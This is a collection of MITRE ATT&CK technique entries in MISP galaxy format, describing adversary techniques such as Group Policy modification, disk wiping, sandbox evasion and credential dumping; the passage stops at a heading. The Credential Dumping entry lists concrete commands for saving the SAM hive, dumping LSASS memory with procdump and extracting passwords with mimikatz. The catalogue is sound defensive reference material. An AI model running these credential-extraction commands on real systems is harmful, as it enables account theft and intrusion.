Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\<DOMAIN>\SYSVOL<DOMAIN>\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code><GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code><GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
The tag is: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484"
Runtime Data Manipulation - T1494
Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
The tag is: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"
Links |
https://www.justice.gov/opa/press-release/file/1092091/download |
Exploit Baseband Vulnerability - T1455
A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.
-
Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).
Weinmann described and demonstrated "the risk of remotely exploitable memory corruptions in cellular baseband stacks." (Citation: Weinmann-Baseband)
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"
Exploit Baseband Vulnerability - T1455 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
Links |
Malicious Media Content - T1457
Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Malicious Media Content - T1457"
Malicious Media Content - T1457 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
Links |
Disk Structure Wipe - T1487
Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487"
Disk Content Wipe - T1488
Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.
Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)
The tag is: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488"
Links |
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
https://www.justice.gov/opa/press-release/file/1092091/download |
Obtain/re-use payloads - T1346
A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)
The tag is: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346"
Links |
Multi-Stage Channels - T1104
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.
The tag is: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104"
Links |
Third-party Software - T1072
Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.
Adversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it’s intended purpose.
The tag is: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072"
Links |
DLL Side-Loading - T1073
Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)
Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
The tag is: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"
Links |
Command-Line Interface - T1059
Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).
Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.
The tag is: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059"
Links |
Re-opened Applications - T1164
Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
The tag is: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
SID-History Injection - T1178
The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).
The tag is: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"
Links |
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx |
Multi-hop Proxy - T1188
To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
The tag is: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"
Links |
Drive-by Compromise - T1189
A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens.
Multiple ways of delivering exploit code to a browser exist, including:
-
A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
-
Malicious ads are paid for and served through legitimate ad providers.
-
Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:
-
A user visits a website that is used to host the adversary controlled content.
-
Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
-
The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
-
-
Upon finding a vulnerable version, exploit code is delivered to the browser.
-
If exploitation is successful, then it will give the adversary code execution on the user’s system unless other protections are in place.
-
In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
-
Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"
Links |
Drive-by Compromise - T1456
As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).
(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)
The tag is: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"
Links |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html |
https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/ |
Identify groups/roles - T1270
Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"
Links |
Proxy/protocol relays - T1304
Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"
Links |
Develop KITs/KIQs - T1227
Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management’s intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)
The tag is: misp-galaxy:mitre-attack-pattern="Develop KITs/KIQs - T1227"
Links |
System Shutdown/Reboot - T1529
Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
The tag is: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529"
Virtualization/Sandbox Evasion - T1497
Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Adversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)
Virtual Machine Environment Artifacts Discovery
Adversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function.
Example VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017)
-
<code>HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions</code>
-
<code>HKLM\HARDWARE\Description\System\”SystemBiosVersion”;”VMWARE”</code>
-
<code>HKLM\HARDWARE\ACPI\DSDT\BOX_</code>
Example VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017)
-
<code>WINDOWS\system32\drivers\vmmouse.sys</code>
-
<code>WINDOWS\system32\vboxhook.dll</code>
-
<code>Windows\system32\vboxdisp.dll</code>
Common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)
User Activity Discovery
Adversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it’s a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).
Virtual Hardware Fingerprinting Discovery
Adversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query <code>$q = “Select * from Win32_Fan” Get-WmiObject -Query $q</code>. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"
Data Obfuscation - T1001
Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.
The tag is: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"
Links |
Web Shell - T1100
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.
The tag is: misp-galaxy:mitre-attack-pattern="Web Shell - T1100"
Links |
Automated Exfiltration - T1020
Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection.
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).
The tag is: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"
Links |
Hardware Additions - T1200
Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.
The tag is: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"
Links |
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html |
http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx |
Data Compressed - T1002
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
The tag is: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"
Links |
Credential Dumping - T1003
Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
Windows
SAM (Security Accounts Manager)
The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques:
-
pwdumpx.exe
-
[gsecdump](https://attack.mitre.org/software/S0008)
-
[Mimikatz](https://attack.mitre.org/software/S0002)
-
secretsdump.py
Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):
-
<code>reg save HKLM\sam sam</code>
-
<code>reg save HKLM\system system</code>
Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)
Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.
Cached Credentials
The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques.
-
pwdumpx.exe
-
[gsecdump](https://attack.mitre.org/software/S0008)
-
[Mimikatz](https://attack.mitre.org/software/S0002)
Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.
Notes: Cached credentials for Windows Vista are derived using PBKDF2.
Local Security Authority (LSA) Secrets
With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques.
-
pwdumpx.exe
-
[gsecdump](https://attack.mitre.org/software/S0008)
-
[Mimikatz](https://attack.mitre.org/software/S0002)
-
secretsdump.py
Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.
Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.
NTDS from Domain Controller
Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
-
Volume Shadow Copy
-
secretsdump.py
-
Using the in-built Windows tool, ntdsutil.exe
-
Invoke-NinjaCopy
Group Policy Preference (GPP) Files
Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.
These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)
The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
-
Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp"
-
Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)
-
gpprefdecrypt.py
Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s * .xml
Service Principal Names (SPNs)
See [Kerberoasting](https://attack.mitre.org/techniques/T1208).
Plaintext Credentials
After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.
SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.
The following SSPs can be used to access credentials:
Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP) The following tools can be used to enumerate credentials:
-
[Windows Credential Editor](https://attack.mitre.org/software/S0005)
-
[Mimikatz](https://attack.mitre.org/software/S0002)
As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
For example, on the target host use procdump:
-
<code>procdump -ma lsass.exe lsass_dump</code>
Locally, mimikatz can be run:
-
<code>sekurlsa::Minidump lsassdump.dmp</code>
-
<code>sekurlsa::logonPasswords</code>
DCSync
DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller’s application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account’s password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)
Linux
Proc filesystem
The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.
The tag is: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003"
Network Sniffing - T1040
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.
The tag is: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"
Links |
New Service - T1050
When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service’s configuration information, including the file path to the service’s executable, is stored in the Windows Registry.
Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).
The tag is: misp-galaxy:mitre-attack-pattern="New Service - T1050"
Links |
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 |
Fallback Channels - T1008
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
The tag is: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"
Links |
Binary Padding - T1009
Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
The tag is: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"
Connection Proxy - T1090
